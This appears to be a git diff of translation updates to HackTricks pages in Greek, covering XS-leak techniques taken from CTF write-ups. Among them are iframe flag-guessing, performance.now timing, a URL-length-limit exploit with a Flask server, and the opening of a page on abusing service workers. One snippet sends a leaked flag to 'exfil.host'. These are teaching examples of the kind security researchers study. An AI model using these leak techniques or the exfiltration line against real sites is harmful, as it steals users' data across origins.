* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
@ -30,7 +33,7 @@ window.parent.foo()
res.send(page)
});
```
Κύρια σελίδα που δημιουργεί iframes στην προηγούμενη σελίδα `/guessing` για να ελέγξει κάθε πιθανότητα
Κύρια σελίδα που δημιουργεί iframes στη προηγούμενη σελίδα `/guessing` για να δοκιμάσει κάθε δυνατότητα
```html
<html>
<head>
@ -75,14 +78,17 @@ hack.innerHTML = iframe
</div>
</html>
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,23 +1,26 @@
# performance.now + Εξαναγκασμός βαριάς εργασίας
# performance.now + Force heavy task
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** [**💬**](https://emojipedia.org/speech-balloon/) [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή [**στην ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Εκμεταλλευτείτε από [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
**Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
Σε αυτήν την πρόκληση, ο χρήστης μπορούσε να στείλει χιλιάδες χαρακτήρες και αν η σημαία περιείχετο, οι χαρακτήρες θα επιστρέφονταν πίσω στο bot. Έτσι, τοποθετώντας ένα μεγάλο πλήθος χαρακτήρων, ο επιτιθέμενος μπορούσε να μετρήσει εάν η σημαία περιείχετο στο απεσταλμένο αλφαριθμητικό ή όχι.
Σε αυτή την πρόκληση, ο χρήστης μπορούσε να στείλει χιλιάδες χαρακτήρες και αν η σημαία περιλαμβανόταν, οι χαρακτήρες θα επιστρέφονταν στο bot. Έτσι, στέλνοντας μια μεγάλη ποσότητα χαρακτήρων, ο επιτιθέμενος μπορούσε να μετρήσει αν η σημαία περιλαμβανόταν στη στέλνουσα συμβολοσειρά ή όχι.
{% hint style="warning" %}
Αρχικά, δεν ορίστηκε πλάτος και ύψος αντικειμένου, αλλά αργότερα ανακάλυψα ότι είναι σημαντικό επειδή το προεπιλεγμένο μέγεθος είναι πολύ μικρό για να κάνει διαφορά στον χρόνο φόρτωσης.
Αρχικά, δεν είχα ορίσει το πλάτος και το ύψος του αντικειμένου, αλλά αργότερα διαπίστωσα ότι είναι σημαντικό γιατί το προεπιλεγμένο μέγεθος είναι πολύ μικρό για να έχει διαφορά στον χρόνο φόρτωσης.
{% endhint %}
```html
<!DOCTYPE html>
@ -114,14 +117,17 @@ main()
</html>
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Παράδειγμα performance.now
# performance.now παράδειγμα
{% hint style="success" %}
Μάθε & εξάσκησε το AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε το GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Έλεγξε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετοχή στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολούθησέ** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιράσου κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Παράδειγμα που προέρχεται από [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
**Παράδειγμα από [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
document.addEventListener('DOMContentLoaded', main);
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Μέγιστο Μήκος URL - Πλευρά Πελάτη
# URL Max Length - Client Side
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Κώδικας από [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
```html
@ -48,7 +51,7 @@ await new Promise(resolve => setTimeout(resolve, 50))
</script>
</html>
```
Εξυπηρετητής (Server side):
Server side:
```python
from flask import Flask, request
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,55 +1,58 @@
# Abusing Service Workers
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Βασικές Πληροφορίες
## Basic Information
Ένας **service worker** είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας χαρακτηριστικά που δεν απαιτούν ιστοσελίδα ή αλληλεπίδραση χρήστη, βελτιώνοντας έτσι τις δυνατότητες **εκτέλεσης εκτός σύνδεσης και στο παρασκήνιο**. Λεπτομερείς πληροφορίες για τους service workers μπορούν να βρεθούν [εδώ](https://developers.google.com/web/fundamentals/primers/service-workers). Εκμεταλλευόμενοι τους service workers σε ένα ευάλωτο τομέα ιστοσελίδας, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο επί των αλληλεπιδράσεων του θύματος με όλες τις σελίδες εντός αυτού του τομέα.
Ένας **service worker** είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας δυνατότητες που δεν απαιτούν ιστοσελίδα ή αλληλεπίδραση χρήστη, ενισχύοντας έτσι τις δυνατότητες **εκτός σύνδεσης και επεξεργασίας στο παρασκήνιο**. Λεπτομερείς πληροφορίες σχετικά με τους service workers μπορείτε να βρείτε [εδώ](https://developers.google.com/web/fundamentals/primers/service-workers). Εκμεταλλευόμενοι τους service workers σε έναν ευάλωτο διαδικτυακό τομέα, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο στις αλληλεπιδράσεις του θύματος με όλες τις σελίδες εντός αυτού του τομέα.
### Έλεγχος για Υπάρχοντες Service Workers
Οι υπάρχοντες service workers μπορούν να ελεγχθούν στην ενότητα **Service Workers** της καρτέλας **Εφαρμογή** στα **Εργαλεία Προγραμματιστή**. Ένας άλλος τρόπος είναι να επισκεφθείτε τη διεύθυνση [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) για μια πιο λεπτομερή προβολή.
### Checking for Existing Service Workers
### Ειδοποιήσεις Πατήστε
Οι υπάρχοντες service workers μπορούν να ελεγχθούν στην ενότητα **Service Workers** της καρτέλας **Application** στα **Developer Tools**. Μια άλλη μέθοδος είναι να επισκεφθείτε το [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) για μια πιο λεπτομερή προβολή.
Οι **άδειες ειδοποιήσεων πατήστε** επηρεάζουν απευθείας την ικανότητα ενός **service worker** να επικοινωνήσει με τον διακομιστή χωρίς άμεση αλληλεπίδραση χρήστη. Αν οι άδειες αρνηθούν, περιορίζουν τη δυνατότητα του service worker να αποτελέσει συνεχή απειλή. Αντίστοιχα, η χορήγηση άδειων αυξάνει τους κινδύνους ασφαλείας ενεργοποιώντας τη λήψη και εκτέλεση πιθανών εκμεταλλεύσεων.
### Push Notifications
## Επίθεση Δημιουργίας Service Worker
Οι **άδειες ειδοποιήσεων push** επηρεάζουν άμεσα την ικανότητα ενός **service worker** να επικοινωνεί με τον διακομιστή χωρίς άμεση αλληλεπίδραση χρήστη. Εάν οι άδειες απορριφθούν, περιορίζει τη δυνατότητα του service worker να αποτελεί συνεχή απειλή. Αντίθετα, η χορήγηση αδειών αυξάνει τους κινδύνους ασφαλείας επιτρέποντας την υποδοχή και εκτέλεση πιθανών εκμεταλλεύσεων.
Για να εκμεταλλευτείτε αυτήν την ευπάθεια χρειάζεστε να βρείτε:
## Attack Creating a Service Worker
* Έναν τρόπο να **ανεβάσετε αυθαίρετα αρχεία JS** στον διακομιστή και ένα **XSS για να φορτώσετε τον service worker** του ανεβασμένου αρχείου JS
* Ένα **ευάλωτο αίτημα JSONP** όπου μπορείτε να **διαμορφώσετε την έξοδο (με αυθαίρετο κώδικα JS)** και ένα **XSS** για να **φορτώσετε το JSONP με ένα φορτίο** που θα **φορτώσει ένα κακόβουλο service worker**.
